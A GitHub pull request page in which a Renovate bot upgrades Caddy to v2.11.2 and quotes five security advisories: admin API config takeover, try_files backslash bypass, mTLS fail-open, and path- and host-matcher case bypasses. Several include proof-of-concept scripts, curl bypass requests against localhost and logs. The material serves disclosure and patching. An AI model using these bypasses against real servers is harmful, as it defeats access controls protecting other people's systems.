Skip to content

fix(deps): update module github.com/caddyserver/caddy/v2 to v2.11.2 [security]#401

Open
renovate-sh-app[bot] wants to merge 1 commit intomainfrom
renovate/go-github.com-caddyserver-caddy-v2-vulnerability
Open

fix(deps): update module github.com/caddyserver/caddy/v2 to v2.11.2 [security]#401
renovate-sh-app[bot] wants to merge 1 commit intomainfrom
renovate/go-github.com-caddyserver-caddy-v2-vulnerability

Conversation

@renovate-sh-app
Copy link

@renovate-sh-app renovate-sh-app bot commented Feb 25, 2026

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
github.com/caddyserver/caddy/v2 v2.9.1v2.11.2 age confidence

Warning

Some dependencies could not be looked up. Check the Dependency Dashboard for more information.

GitHub Vulnerability Alerts

CVE-2026-27589

commit: e0f8d9b2047af417d8faf354b675941f3dac9891 (as-of 2026-02-04)
channel: GitHub security advisory (per SECURITY.md)

summary

The local caddy admin API (default listen 127.0.0.1:2019) exposes a state-changing POST /load endpoint that replaces the entire running configuration.

When origin enforcement is not enabled (enforce_origin not configured), the admin endpoint accepts cross-origin requests (e.g., from attacker-controlled web content in a victim browser) and applies an attacker-supplied JSON config. this can change the admin listener settings and alter HTTP server behavior without user intent.

Severity

Medium

Justification:

  • The attacker can apply an arbitrary caddy config (integrity impact) by driving a victim’s local admin API.
  • Exploitation requires a victim running caddy with the admin API enabled and visiting an attacker-controlled page (or otherwise issuing the request from an untrusted local client).

Affected component

Reproduction

Attachment: poc.zip (integration harness) with canonical and control runs.

unzip -q -o poc.zip -d poc
cd poc/poc-F-CADDY-ADMIN-LOAD-001
make test

Expected output (excerpt):

[CALLSITE_HIT]: adminLoad.handleLoad
[PROOF_MARKER]: http_code=200 admin_moved=true response_pwned=true

Control output (excerpt):

[NC_MARKER]: http_code=403 load_blocked=true admin_moved=false response_pwned=false

Impact

An attacker can replace the running caddy configuration via the local admin API. Depending on the deployed configuration/modules, this can:

  • Change admin listener settings (e.g., move the admin listener to a new address)
  • Change HTTP server behavior (e.g., alter routes/responses)

Suggested remediation

Ensure cross-origin web content cannot trigger POST /load on the local admin API by default, for example by:

  • Enabling origin enforcement by default for unsafe methods, and/or
  • Requiring an unguessable token for /load (and other state-changing admin endpoints).

poc.zip
PR_DESCRIPTION.md

CVE-2026-27585

Summary

The path sanitization in file matcher doesn't sanitize backslashes which can lead to bypassing path related security protections.

Details

The try_files directive is used to rewrite the request uri. It accepts a list of patterns and checks if any files exist in the root that match the provided patterns. It's commonly used in Caddy configs. For example, it's used in SPA applications to rewrite every route that doesn't exist as a file to index.html.

example.com {
	root * /srv
	encode
	try_files {path} /index.html
	file_server
}

try_files patterns are actually glob patterns and file matcher expands them. The {path} in the pattern is replaced with
the request path and then is expanded by fs.Glob. The request path is sanitized before being placed inside the pattern and the special chars are escaped . The following code is the sanitization part.

var globSafeRepl = strings.NewReplacer(
	"*", "\\*",
	"[", "\\[",
	"?", "\\?",
)

expandedFile, err := repl.ReplaceFunc(file, func(variable string, val any) (any, error) {
    if runtime.GOOS == "windows" {
        return val, nil
    }
    switch v := val.(type) {
    case string:
        return globSafeRepl.Replace(v), nil
    case fmt.Stringer:
        return globSafeRepl.Replace(v.String()), nil
    }
    return val, nil
})

The problem here is that it does not escape backslashes. /something-\*/ can match a file named something-\-anything.txt, but it should not. The primitive that this vulnerability provides is not very useful, as it only allows an attacker to guess filenames that contain a backslash and they should also know the characters before that backslash.

The backslash is mainly used to escape special characters in glob patterns, but when it appears before non special characters, it is ignored. This means that h\ello* matches hello world even though e is not a special character. This behavior can be abused to bypass path protections that might be in place. For example, if there is a reverse proxy that only allows /documents/* to the internal network and its upstream is a Caddy server that uses try_files, the reverse proxy's protection can be bypassed by requesting the path /do%5ccuments/.

Some configurations that implement blacklisting and serving together in Caddy are also vulnerable but there's a condition that the try_files directive and the filtering route/handle must not be in a same block because try_files directive executes before route and handle directives.

For example the following config isn't vulnerable.

:80 {
    root * /srv

    route /documents/* {
        respond "Access denied" 403
    }

    try_files {path} /index.html
    file_server
}

But this one is vulnerable.

:80 {
    root * /srv

    route /documents/* {
        respond "Access denied" 403
    }

    route /* {
        try_files {path} /index.html
    }
    file_server
}

This config is also vulnerable because Header directives executes before try_files.

:80 {
    root * /srv 
    header /uploads/* {
        X-Content-Type-Options "nosniff"
        Content-Security-Policy "default-src 'none';"
    }
    try_files {path} /index.html
    file_server
}

PoC

Paste this script somewhere and run it. It should print "some content" which means that the nginx protection has failed.

#!/bin/bash

mkdir secret
echo 'some content' > secret/secret.txt

cat > Caddyfile <<'EOF'
:80 {
    root * /srv

    try_files {path} /index.html
    file_server
}
EOF

cat > nginx.conf <<'EOF'
events {}

http {
    server {
        listen 80;
        
        location /secret {
            return 403;
        }

        location / {
            proxy_pass http://caddy;
            proxy_set_header Host $host;
        }
    }
}
EOF

cat > docker-compose.yml <<'EOF'
services:
  caddy:
    # caddy@sha256:c3d7ee5d2b11f9dc54f947f68a734c84e9c9666c92c88a7f30b9cba5da182adb
    image: caddy:latest
    volumes:
      - ./Caddyfile:/etc/caddy/Caddyfile:ro
      - ./secret:/srv/secret:ro
  nginx:
    # nginx@sha256:341bf0f3ce6c5277d6002cf6e1fb0319fa4252add24ab6a0e262e0056d313208
    image: nginx:latest
    volumes:
      - ./nginx.conf:/etc/nginx/nginx.conf:ro
    ports:
      - "8000:80" 
EOF

docker compose up -d
curl 'localhost:8000/secre%5ct/secret.txt'

Impact

This vulnerability may allow an attacker to bypass security protections. It affects users with specific Caddy and environment configurations.

AI Usage

An LLM was used to polish this report.

CVE-2026-27586

Summary

Two swallowed errors in ClientAuthentication.provision() cause mTLS client certificate authentication to silently fail open when a CA certificate file is missing, unreadable, or malformed. The server starts without error but accepts any client certificate signed by any system-trusted CA, completely bypassing the intended private CA trust boundary.

Details

In modules/caddytls/connpolicy.go, the provision() method has two return nil statements that should be return err:

Bug #​1 — line 787:

ders, err := convertPEMFilesToDER(fpath)
if err != nil {
    return nil  // BUG: should be "return err"
}

Bug #​2 — line 800:

err := caPool.Provision(ctx)
if err != nil {
    return nil  // BUG: should be "return err"
}

Compare with line 811 which correctly returns the error:

caRaw, err := ctx.LoadModule(clientauth, "CARaw")
if err != nil {
    return err  // CORRECT
}

When the error is swallowed on line 787, the chain is:

  1. TrustedCACerts remains empty (no DER data appended from the file)
  2. The len(clientauth.TrustedCACerts) > 0 guard on line 794 is false — skipped
  3. clientauth.CARaw is nil — line 806 returns nil
  4. clientauth.ca remains nil — no CA pool was created
  5. provision() returns nil — caller thinks provisioning succeeded

Then in ConfigureTLSConfig():

  1. Active() returns true because TrustedCACertPEMFiles is non-empty
  2. Default mode is set to RequireAndVerifyClientCert (line 860)
  3. But clientauth.ca is nil, so cfg.ClientCAs is never set (line 867 skipped)
  4. Go's crypto/tls with RequireAndVerifyClientCert + nil ClientCAs verifies client certs against the system root pool instead of the intended CA

The fix is changing return nil to return err on lines 787 and 800.

PoC

  1. Configure Caddy with mTLS pointing to a nonexistent CA file:
{
    "apps": {
        "http": {
            "servers": {
                "srv0": {
                    "listen": [":443"],
                    "tls_connection_policies": [{
                        "client_authentication": {
                            "trusted_ca_certs_pem_files": ["/nonexistent/ca.pem"]
                        }
                    }]
                }
            }
        }
    }
}
  1. Start Caddy — it starts without any error or warning.

  2. Connect with any client certificate (even self-signed):

openssl s_client -connect localhost:443 -cert client.pem -key client-key.pem
  1. The TLS handshake succeeds despite the certificate not being signed by the intended CA.

A full Go test that proves the bug end-to-end (including a successful TLS handshake with a random self-signed client cert) is here: https://gist.github.com/moscowchill/9566c79c76c0b64c57f8bd0716f97c48

Test output:

=== RUN   TestSwallowedErrorMTLSFailOpen
    BUG CONFIRMED: provision() swallowed the error from a nonexistent CA file.
    tls.Config has RequireAndVerifyClientCert but ClientCAs is nil.
    CRITICAL: TLS handshake succeeded with a self-signed client cert!
    The server accepted a client certificate NOT signed by the intended CA.
--- PASS: TestSwallowedErrorMTLSFailOpen (0.03s)

Impact

Any deployment using trusted_ca_cert_file or trusted_ca_certs_pem_files for mTLS will silently degrade to accepting any system-trusted client certificate if the CA file becomes unavailable. This can happen due to a typo in the path, file rotation, corruption, or permission changes. The server gives no indication that mTLS is misconfigured.

CVE-2026-27587

Summary

Caddy's HTTP path request matcher is intended to be case-insensitive, but when the match pattern contains percent-escape sequences (%xx) it compares against the request's escaped path without lowercasing. An attacker can bypass path-based routing and any access controls attached to that route by changing the casing of the request path.

Details

In Caddy v2.10.2, MatchPath is explicitly designed to be case-insensitive and lowercases match patterns during provisioning:

  • modules/caddyhttp/matchers.go: rationale captured in the MatchPath comment.
  • MatchPath.Provision lowercases configured patterns via strings.ToLower.
  • MatchPath.MatchWithError lowercases the request path for the normal matching path: reqPath := strings.ToLower(r.URL.Path).

But when a match pattern contains a percent sign (%), MatchPath.MatchWithError switches to "escaped space" matching and builds the comparison string from r.URL.EscapedPath():

  • reqPathForPattern := CleanPath(r.URL.EscapedPath(), mergeSlashes)
  • If it doesn't match, it continues (skipping the remaining matching logic for that pattern).

Because r.URL.EscapedPath() is not lowercased, case differences in the request path can cause the escaped-space match to fail even though MatchPath is meant to be case-insensitive. For example, with a pattern of /admin%2Fpanel:

  • Requesting /admin%2Fpanel matches and can be denied as intended.
  • Requesting /ADMIN%2Fpanel does not match and falls through to other routes/handlers.

Suggested fix

  • In the %-pattern matching path, ensure the effective string passed to path.Match is lowercased (same as the normal branch).
    • Simplest seems to lowercase the constructed string in matchPatternWithEscapeSequence right before path.Match.

Reproduced on:

  • Stable release: v2.10.2 -- this is the release referenced in the reproduction below.
  • Dev build: v2.11.0-beta.2.
  • Master tip: commit 58968b3fd38cacbf4b5e07cc8c8be27696dce60f.

PoC

Prereqs:

  • bash, curl
  • A pre-built Caddy binary available at /opt/caddy-2.10.2/caddy (edit CADDY_BIN in the script if needed)
Script (Click to expand)
#!/usr/bin/env bash
set -euo pipefail

CADDY_BIN="/opt/caddy-2.10.2/caddy"
HOST="127.0.0.1"
PORT="8080"

TMPDIR="$(mktemp -d)"
CADDYFILE="${TMPDIR}/Caddyfile"
LOG="${TMPDIR}/caddy.log"

cleanup() {
  if [ -n "${CADDY_PID:-}" ] && kill -0 "${CADDY_PID}" 2>/dev/null; then
    kill "${CADDY_PID}" 2>/dev/null || true
    wait "${CADDY_PID}" 2>/dev/null || true
  fi
  rm -rf "${TMPDIR}" 2>/dev/null || true
}
trap cleanup EXIT

if [ ! -x "${CADDY_BIN}" ]; then
  echo "error: missing caddy binary at ${CADDY_BIN}" >&2
  exit 2
fi

echo "== Caddy version =="
"${CADDY_BIN}" version

cat >"${CADDYFILE}" <<EOF
{
    debug
}

:${PORT} {
    log
    @&#8203;block {
        path /admin%2Fpanel
    }
    respond @&#8203;block "DENY" 403
    respond "ALLOW" 200
}
EOF

echo
echo "== Caddyfile =="
cat "${CADDYFILE}"

echo
echo "== Start Caddy (debug + capture logs) =="
echo "cmd: ${CADDY_BIN} run --config ${CADDYFILE} --adapter caddyfile"
"${CADDY_BIN}" run --config "${CADDYFILE}" --adapter caddyfile >"${LOG}" 2>&1 &
CADDY_PID="$!"

sleep 2

echo
echo "== Request 1 (baseline - expect deny) =="
echo "cmd: curl -v -H 'Host: example.test' http://${HOST}:${PORT}/admin%2Fpanel"
curl -v -H "Host: example.test" "http://${HOST}:${PORT}/admin%2Fpanel" 2>&1 || true

echo
echo "== Request 2 (BYPASS - expect allow) =="
echo "cmd: curl -v -H 'Host: example.test' http://${HOST}:${PORT}/ADMIN%2Fpanel"
curl -v -H "Host: example.test" "http://${HOST}:${PORT}/ADMIN%2Fpanel" 2>&1 || true

echo
echo "== Stop Caddy =="
kill "${CADDY_PID}" 2>/dev/null || true
wait "${CADDY_PID}" 2>/dev/null || true

echo
echo "== Full Caddy debug log =="
cat "${LOG}"
Expected output (Click to expand)
== Caddy version ==
v2.10.2 h1:g/gTYjGMD0dec+UgMw8SnfmJ3I9+M2TdvoRL/Ovu6U8=

== Caddyfile ==
{
    debug
}

:8080 {
    log
    @&#8203;block {
        path /admin%2Fpanel
    }
    respond @&#8203;block "DENY" 403
    respond "ALLOW" 200
}

== Start Caddy (debug + capture logs) ==
cmd: /opt/caddy-2.10.2/caddy run --config /tmp/tmp.GXiRbxOnBN/Caddyfile --adapter caddyfile

== Request 1 (baseline - expect deny) ==
cmd: curl -v -H 'Host: example.test' http://127.0.0.1:8080/admin%2Fpanel
*   Trying 127.0.0.1:8080...
* Connected to 127.0.0.1 (127.0.0.1) port 8080
* using HTTP/1.x
> GET /admin%2Fpanel HTTP/1.1
> Host: example.test
> User-Agent: curl/8.15.0
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 403 Forbidden
< Content-Type: text/plain; charset=utf-8
< Server: Caddy
< Date: Sun, 08 Feb 2026 22:19:20 GMT
< Content-Length: 4
<
* Connection #&#8203;0 to host 127.0.0.1 left intact
DENY
== Request 2 (BYPASS - expect allow) ==
cmd: curl -v -H 'Host: example.test' http://127.0.0.1:8080/ADMIN%2Fpanel
*   Trying 127.0.0.1:8080...
* Connected to 127.0.0.1 (127.0.0.1) port 8080
* using HTTP/1.x
> GET /ADMIN%2Fpanel HTTP/1.1
> Host: example.test
> User-Agent: curl/8.15.0
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 200 OK
< Content-Type: text/plain; charset=utf-8
< Server: Caddy
< Date: Sun, 08 Feb 2026 22:19:20 GMT
< Content-Length: 5
<
* Connection #&#8203;0 to host 127.0.0.1 left intact
ALLOW
== Stop Caddy ==

== Full Caddy debug log ==
{"level":"info","ts":1770589158.3687892,"msg":"maxprocs: Leaving GOMAXPROCS=4: CPU quota undefined"}
{"level":"info","ts":1770589158.3690693,"msg":"GOMEMLIMIT is updated","package":"github.com/KimMachineGun/automemlimit/memlimit","GOMEMLIMIT":1844136345,"previous":9223372036854775807}
{"level":"info","ts":1770589158.369109,"msg":"using config from file","file":"/tmp/tmp.GXiRbxOnBN/Caddyfile"}
{"level":"info","ts":1770589158.3704133,"msg":"adapted config to JSON","adapter":"caddyfile"}
{"level":"warn","ts":1770589158.370424,"msg":"Caddyfile input is not formatted; run 'caddy fmt --overwrite' to fix inconsistencies","adapter":"caddyfile","file":"/tmp/tmp.GXiRbxOnBN/Caddyfile","line":2}
{"level":"info","ts":1770589158.3715324,"logger":"admin","msg":"admin endpoint started","address":"localhost:2019","enforce_origin":false,"origins":["//localhost:2019","//[::1]:2019","//127.0.0.1:2019"]}
{"level":"debug","ts":1770589158.3716462,"logger":"http.auto_https","msg":"adjusted config","tls":{"automation":{"policies":[{}]}},"http":{"servers":{"srv0":{"listen":[":8080"],"routes":[{"handle":[{"body":"DENY","handler":"static_response","status_code":403}]},{"handle":[{"body":"ALLOW","handler":"static_response","status_code":200}]}],"automatic_https":{},"logs":{}}}}}
{"level":"debug","ts":1770589158.3718414,"logger":"http","msg":"starting server loop","address":"[::]:8080","tls":false,"http3":false}
{"level":"warn","ts":1770589158.371858,"logger":"http","msg":"HTTP/2 skipped because it requires TLS","network":"tcp","addr":":8080"}
{"level":"warn","ts":1770589158.3718607,"logger":"http","msg":"HTTP/3 skipped because it requires TLS","network":"tcp","addr":":8080"}
{"level":"info","ts":1770589158.3718636,"logger":"http.log","msg":"server running","name":"srv0","protocols":["h1","h2","h3"]}
{"level":"debug","ts":1770589158.3718896,"logger":"events","msg":"event","name":"started","id":"6bb8b6fe-4980-4a48-9f7e-2146ecd48ce6","origin":"","data":null}
{"level":"info","ts":1770589158.3720388,"msg":"autosaved config (load with --resume flag)","file":"/home/vh/.config/caddy/autosave.json"}
{"level":"info","ts":1770589158.3720443,"msg":"serving initial configuration"}
{"level":"info","ts":1770589158.372355,"logger":"tls.cache.maintenance","msg":"started background certificate maintenance","cache":"0xc00064d180"}
{"level":"info","ts":1770589158.3855736,"logger":"tls","msg":"storage cleaning happened too recently; skipping for now","storage":"FileStorage:/home/vh/.local/share/caddy","instance":"a259f82d-3c7c-4706-9ca8-17456b4af729","try_again":1770675558.3855705,"try_again_in":86399.999999388}
{"level":"info","ts":1770589158.3857276,"logger":"tls","msg":"finished cleaning storage units"}
{"level":"info","ts":1770589160.2764065,"logger":"http.log.access","msg":"handled request","request":{"remote_ip":"127.0.0.1","remote_port":"57126","client_ip":"127.0.0.1","proto":"HTTP/1.1","method":"GET","host":"example.test","uri":"/admin%2Fpanel","headers":{"User-Agent":["curl/8.15.0"],"Accept":["*/*"]}},"bytes_read":0,"user_id":"","duration":0.000017493,"size":4,"status":403,"resp_headers":{"Server":["Caddy"],"Content-Type":["text/plain; charset=utf-8"]}}
{"level":"info","ts":1770589160.2943857,"logger":"http.log.access","msg":"handled request","request":{"remote_ip":"127.0.0.1","remote_port":"57136","client_ip":"127.0.0.1","proto":"HTTP/1.1","method":"GET","host":"example.test","uri":"/ADMIN%2Fpanel","headers":{"User-Agent":["curl/8.15.0"],"Accept":["*/*"]}},"bytes_read":0,"user_id":"","duration":0.000066734,"size":5,"status":200,"resp_headers":{"Server":["Caddy"],"Content-Type":["text/plain; charset=utf-8"]}}
{"level":"info","ts":1770589160.2966497,"msg":"shutting down apps, then terminating","signal":"SIGTERM"}
{"level":"warn","ts":1770589160.2966666,"msg":"exiting; byeee!! 👋","signal":"SIGTERM"}
{"level":"debug","ts":1770589160.296728,"logger":"events","msg":"event","name":"stopping","id":"aefb0a2f-0a81-4587-9f79-e530883c3fe1","origin":"","data":null}
{"level":"info","ts":1770589160.2967443,"logger":"http","msg":"servers shutting down with eternal grace period"}
{"level":"info","ts":1770589160.2968848,"logger":"admin","msg":"stopped previous server","address":"localhost:2019"}
{"level":"info","ts":1770589160.2968912,"msg":"shutdown complete","signal":"SIGTERM","exit_code":0}

Impact

This is a route/auth bypass in Caddy's path-matching logic for patterns that include escape sequences. Deployments that use path matchers with %xx patterns to block or protect sensitive endpoints (including encoded-path variants such as encoded slashes) can be bypassed by changing the casing of the request path, allowing unauthorized access to sensitive endpoints behind Caddy depending on upstream configuration.

The reproduction is minimal per the reporting guidance. In a realistic "full" scenario, a deployment may block %xx variants like path /admin%2Fpanel, otherwise proxying. If the backend is case-insensitive/normalizing, /ADMIN%2Fpanel maps to the same handler; Caddy’s %-pattern match misses due to case, so the block is skipped and the request falls through.

AI Use Disclosure

A custom AI agent pipeline was used to discover the vulnerability, after which was manually reproduced and validated each step. The entire report was ran through an LLM to make sure nothing obvious was missed.

Disclosure/crediting

Asim Viladi Oglu Manizada

CVE-2026-27588

Summary

Caddy's HTTP host request matcher is documented as case-insensitive, but when configured with a large host list (>100 entries) it becomes case-sensitive due to an optimized matching path. An attacker can bypass host-based routing and any access controls attached to that route by changing the casing of the Host header.

Details

In Caddy v2.10.2, the MatchHost matcher states it matches the Host value case-insensitively:

  • modules/caddyhttp/matchers.go: type MatchHost matches requests by the Host value (case-insensitive).

However, in MatchHost.MatchWithError, when the host list is considered "large" (len(m) > 100):

  • MatchHost.large() returns true for len(m) > 100 (modules/caddyhttp/matchers.go, around the large() helper).
  • The matcher takes a "fast path" using binary search over the sorted host list, and checks for an exact match using a case-sensitive string comparison (m[pos] == reqHost).
  • After the fast path fails, the fallback loop short-circuits for large lists by breaking as soon as it reaches the first non-fuzzy entry. For configs comprised of exact hostnames only (no wildcards/placeholders), this prevents the strings.EqualFold(reqHost, host) check from ever running.

Net effect: with a host list length of 101 or more, changing only the casing of the incoming Host header can cause the host matcher to not match when it should.

Suggested fix

  • Normalize exact hostnames to lower-case during MatchHost.Provision (at least for non-fuzzy entries).
  • Normalize the incoming request host (reqHost) to lower-case before the large-list binary search + equality check, so the optimized path stays case-insensitive.

Reproduced on:

  • Stable release: v2.10.2 -- this is the release I reference in the repro below.
  • Dev build: v2.11.0-beta.2.
  • Master tip: commit 58968b3fd38cacbf4b5e07cc8c8be27696dce60f.

PoC

Prereqs:

  • bash, curl
  • A pre-built Caddy binary available at /opt/caddy-2.10.2/caddy (edit CADDY_BIN in the script if needed)
Script (Click to expand)
#!/usr/bin/env bash
set -euo pipefail

CADDY_BIN="/opt/caddy-2.10.2/caddy"
HOST="127.0.0.1"
PORT="8080"

TMPDIR="$(mktemp -d)"
CADDYFILE="${TMPDIR}/Caddyfile"
LOG="${TMPDIR}/caddy.log"

cleanup() {
  if [ -n "${CADDY_PID:-}" ] && kill -0 "${CADDY_PID}" 2>/dev/null; then
    kill "${CADDY_PID}" 2>/dev/null || true
    wait "${CADDY_PID}" 2>/dev/null || true
  fi
  rm -rf "${TMPDIR}" 2>/dev/null || true
}
trap cleanup EXIT

if [ ! -x "${CADDY_BIN}" ]; then
  echo "error: missing caddy binary at ${CADDY_BIN}" >&2
  exit 2
fi

echo "== Caddy version =="
"${CADDY_BIN}" version

cat >"${CADDYFILE}" <<EOF
{
    debug
}

:${PORT} {
    log
    @&#8203;protected {
        host h001.test h002.test h003.test h004.test h005.test h006.test h007.test h008.test h009.test h010.test h011.test h012.test h013.test h014.test h015.test h016.test h017.test h018.test h019.test h020.test h021.test h022.test h023.test h024.test h025.test h026.test h027.test h028.test h029.test h030.test h031.test h032.test h033.test h034.test h035.test h036.test h037.test h038.test h039.test h040.test h041.test h042.test h043.test h044.test h045.test h046.test h047.test h048.test h049.test h050.test h051.test h052.test h053.test h054.test h055.test h056.test h057.test h058.test h059.test h060.test h061.test h062.test h063.test h064.test h065.test h066.test h067.test h068.test h069.test h070.test h071.test h072.test h073.test h074.test h075.test h076.test h077.test h078.test h079.test h080.test h081.test h082.test h083.test h084.test h085.test h086.test h087.test h088.test h089.test h090.test h091.test h092.test h093.test h094.test h095.test h096.test h097.test h098.test h099.test h100.test h101.test
        path /admin
    }
    respond @&#8203;protected "DENY" 403
    respond "ALLOW" 200
}
EOF

echo
echo "== Caddyfile =="
cat "${CADDYFILE}"

echo
echo "== Start Caddy (debug + capture logs) =="
echo "cmd: ${CADDY_BIN} run --config ${CADDYFILE} --adapter caddyfile"
"${CADDY_BIN}" run --config "${CADDYFILE}" --adapter caddyfile >"${LOG}" 2>&1 &
CADDY_PID="$!"

sleep 2

echo
echo "== Request 1 (baseline - expect deny) =="
echo "cmd: curl -v -H 'Host: h050.test' http://${HOST}:${PORT}/admin"
curl -v -H "Host: h050.test" "http://${HOST}:${PORT}/admin" 2>&1 || true

echo
echo "== Request 2 (BYPASS - expect allow) =="
echo "cmd: curl -v -H 'Host: H050.TEST' http://${HOST}:${PORT}/admin"
curl -v -H "Host: H050.TEST" "http://${HOST}:${PORT}/admin" 2>&1 || true

echo
echo "== Stop Caddy =="
kill "${CADDY_PID}" 2>/dev/null || true
wait "${CADDY_PID}" 2>/dev/null || true

echo
echo "== Full Caddy debug log =="
cat "${LOG}"
Expected output (Click to expand)
== Caddy version ==
v2.10.2 h1:g/gTYjGMD0dec+UgMw8SnfmJ3I9+M2TdvoRL/Ovu6U8=

== Caddyfile ==
{
    debug
}

:8080 {
    log
    @&#8203;protected {
        host h001.test h002.test h003.test h004.test h005.test h006.test h007.test h008.test h009.test h010.test h011.test h012.test h013.test h014.test h015.test h016.test h017.test h018.test h019.test h020.test h021.test h022.test h023.test h024.test h025.test h026.test h027.test h028.test h029.test h030.test h031.test h032.test h033.test h034.test h035.test h036.test h037.test h038.test h039.test h040.test h041.test h042.test h043.test h044.test h045.test h046.test h047.test h048.test h049.test h050.test h051.test h052.test h053.test h054.test h055.test h056.test h057.test h058.test h059.test h060.test h061.test h062.test h063.test h064.test h065.test h066.test h067.test h068.test h069.test h070.test h071.test h072.test h073.test h074.test h075.test h076.test h077.test h078.test h079.test h080.test h081.test h082.test h083.test h084.test h085.test h086.test h087.test h088.test h089.test h090.test h091.test h092.test h093.test h094.test h095.test h096.test h097.test h098.test h099.test h100.test h101.test
        path /admin
    }
    respond @&#8203;protected "DENY" 403
    respond "ALLOW" 200
}

== Start Caddy (debug + capture logs) ==
cmd: /opt/caddy-2.10.2/caddy run --config /tmp/tmp.3BN6rgj9yF/Caddyfile --adapter caddyfile

== Request 1 (baseline - expect deny) ==
cmd: curl -v -H 'Host: h050.test' http://127.0.0.1:8080/admin
*   Trying 127.0.0.1:8080...
* Connected to 127.0.0.1 (127.0.0.1) port 8080
* using HTTP/1.x
> GET /admin HTTP/1.1
> Host: h050.test
> User-Agent: curl/8.15.0
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 403 Forbidden
< Content-Type: text/plain; charset=utf-8
< Server: Caddy
< Date: Sun, 08 Feb 2026 22:09:09 GMT
< Content-Length: 4
<
* Connection #&#8203;0 to host 127.0.0.1 left intact
DENY
== Request 2 (BYPASS - expect allow) ==
cmd: curl -v -H 'Host: H050.TEST' http://127.0.0.1:8080/admin
*   Trying 127.0.0.1:8080...
* Connected to 127.0.0.1 (127.0.0.1) port 8080
* using HTTP/1.x
> GET /admin HTTP/1.1
> Host: H050.TEST
> User-Agent: curl/8.15.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Content-Type: text/plain; charset=utf-8
< Server: Caddy
< Date: Sun, 08 Feb 2026 22:09:09 GMT
< Content-Length: 5
<
* Connection #&#8203;0 to host 127.0.0.1 left intact
ALLOW
== Stop Caddy ==

== Full Caddy debug log ==
{"level":"info","ts":1770588548.012352,"msg":"maxprocs: Leaving GOMAXPROCS=4: CPU quota undefined"}
{"level":"info","ts":1770588548.0125406,"msg":"GOMEMLIMIT is updated","package":"github.com/KimMachineGun/automemlimit/memlimit","GOMEMLIMIT":1844136345,"previous":9223372036854775807}
{"level":"info","ts":1770588548.0125597,"msg":"using config from file","file":"/tmp/tmp.3BN6rgj9yF/Caddyfile"}
{"level":"info","ts":1770588548.0131946,"msg":"adapted config to JSON","adapter":"caddyfile"}
{"level":"warn","ts":1770588548.013202,"msg":"Caddyfile input is not formatted; run 'caddy fmt --overwrite' to fix inconsistencies","adapter":"caddyfile","file":"/tmp/tmp.3BN6rgj9yF/Caddyfile","line":2}
{"level":"info","ts":1770588548.0139973,"logger":"admin","msg":"admin endpoint started","address":"localhost:2019","enforce_origin":false,"origins":["//127.0.0.1:2019","//localhost:2019","//[::1]:2019"]}
{"level":"debug","ts":1770588548.0140707,"logger":"http.auto_https","msg":"adjusted config","tls":{"automation":{"policies":[{}]}},"http":{"servers":{"srv0":{"listen":[":8080"],"routes":[{"handle":[{"handler":"subroute","routes":[{"handle":[{"body":"DENY","handler":"static_response","status_code":403}],"match":[{"host":["h001.test","h002.test","h003.test","h004.test","h005.test","h006.test","h007.test","h008.test","h009.test","h010.test","h011.test","h012.test","h013.test","h014.test","h015.test","h016.test","h017.test","h018.test","h019.test","h020.test","h021.test","h022.test","h023.test","h024.test","h025.test","h026.test","h027.test","h028.test","h029.test","h030.test","h031.test","h032.test","h033.test","h034.test","h035.test","h036.test","h037.test","h038.test","h039.test","h040.test","h041.test","h042.test","h043.test","h044.test","h045.test","h046.test","h047.test","h048.test","h049.test","h050.test","h051.test","h052.test","h053.test","h054.test","h055.test","h056.test","h057.test","h058.test","h059.test","h060.test","h061.test","h062.test","h063.test","h064.test","h065.test","h066.test","h067.test","h068.test","h069.test","h070.test","h071.test","h072.test","h073.test","h074.test","h075.test","h076.test","h077.test","h078.test","h079.test","h080.test","h081.test","h082.test","h083.test","h084.test","h085.test","h086.test","h087.test","h088.test","h089.test","h090.test","h091.test","h092.test","h093.test","h094.test","h095.test","h096.test","h097.test","h098.test","h099.test","h100.test","h101.test"],"path":["/admin"]}]},{"handle":[{"body":"ALLOW","handler":"static_response","status_code":200}]}]}],"terminal":true}],"automatic_https":{},"logs":{}}}}}
{"level":"info","ts":1770588548.0143135,"logger":"tls.cache.maintenance","msg":"started background certificate maintenance","cache":"0xc0000d7c80"}
{"level":"debug","ts":1770588548.0143793,"logger":"http","msg":"starting server loop","address":"[::]:8080","tls":false,"http3":false}
{"level":"warn","ts":1770588548.014415,"logger":"http","msg":"HTTP/2 skipped because it requires TLS","network":"tcp","addr":":8080"}
{"level":"warn","ts":1770588548.0144184,"logger":"http","msg":"HTTP/3 skipped because it requires TLS","network":"tcp","addr":":8080"}
{"level":"info","ts":1770588548.0144203,"logger":"http.log","msg":"server running","name":"srv0","protocols":["h1","h2","h3"]}
{"level":"debug","ts":1770588548.014438,"logger":"events","msg":"event","name":"started","id":"1c7f6534-d264-456d-988d-e9f77a099c42","origin":"","data":null}
{"level":"info","ts":1770588548.0145273,"msg":"autosaved config (load with --resume flag)","file":"/home/vh/.config/caddy/autosave.json"}
{"level":"info","ts":1770588548.0145316,"msg":"serving initial configuration"}
{"level":"info","ts":1770588548.0274432,"logger":"tls","msg":"storage cleaning happened too recently; skipping for now","storage":"FileStorage:/home/vh/.local/share/caddy","instance":"a259f82d-3c7c-4706-9ca8-17456b4af729","try_again":1770674948.0274422,"try_again_in":86399.999999709}
{"level":"info","ts":1770588548.0275078,"logger":"tls","msg":"finished cleaning storage units"}
{"level":"info","ts":1770588549.9694445,"logger":"http.log.access","msg":"handled request","request":{"remote_ip":"127.0.0.1","remote_port":"53220","client_ip":"127.0.0.1","proto":"HTTP/1.1","method":"GET","host":"h050.test","uri":"/admin","headers":{"User-Agent":["curl/8.15.0"],"Accept":["*/*"]}},"bytes_read":0,"user_id":"","duration":0.000014857,"size":4,"status":403,"resp_headers":{"Server":["Caddy"],"Content-Type":["text/plain; charset=utf-8"]}}
{"level":"info","ts":1770588549.9741833,"logger":"http.log.access","msg":"handled request","request":{"remote_ip":"127.0.0.1","remote_port":"53234","client_ip":"127.0.0.1","proto":"HTTP/1.1","method":"GET","host":"H050.TEST","uri":"/admin","headers":{"Accept":["*/*"],"User-Agent":["curl/8.15.0"]}},"bytes_read":0,"user_id":"","duration":0.00000551,"size":5,"status":200,"resp_headers":{"Server":["Caddy"],"Content-Type":["text/plain; charset=utf-8"]}}
